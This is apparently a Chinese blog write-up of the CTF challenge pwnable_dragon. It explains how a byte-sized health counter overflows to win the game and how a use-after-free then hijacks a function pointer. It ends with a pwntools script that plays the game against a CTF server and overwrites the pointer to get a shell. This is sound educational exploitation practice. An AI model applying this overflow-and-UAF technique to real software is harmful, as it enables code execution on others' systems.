pwnable_dragon(整數溢出+UAF)

pwnable_dragon(整數溢出+UAF)

首先,檢查一下程序的保護機制

然後,我們用IDA分析一下,遊戲結束後釋放掉了ptr

也就是釋放掉了v5,而當我們打贏遊戲的時候,又malloc(0x10)並輸入,然後又調用了v5裏面的函數指針,由於v5之前free掉了,所以這裏malloc(0x10)並輸入,控制的就是v5指向的那塊內存,將裏面指針指向後面函數即可。

現在是如何才能贏得遊戲,觀察龍的血量,是一個byte

而贏得遊戲的條件是龍的血量小於等於0

Byte的話超過127,就小於等於0了,因此,我們讓龍的血量不斷增加,最終溢出即可贏得遊戲。第一次,我們故意輸掉遊戲,然後來到第二次,龍的血量初始化爲80,也就是0x50,這樣我們只需讓龍的血量增加0x30即可輕鬆贏得遊戲。

#coding:utf8
from pwn import *

#sh = process('./pwnable_dragon')
sh = remote('node3.buuoj.cn',29862)
def win():
   #第一次輸掉
   sh.sendlineafter('[ 2 ] Knight','1')
   for i in range(2):
      sh.sendline('3')
      sh.sendline('3')
      sh.sendline('2')
   #第二次,dragon的血爲80,我們讓其增加溢出127後即可贏
   sh.sendlineafter('[ 2 ] Knight','1')
   for i in range(4):
      sh.sendline('3')
      sh.sendline('3')
      sh.sendline('2')


win()
sh.sendlineafter('The World Will Remember You As:',p32(0x08048DBF))

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章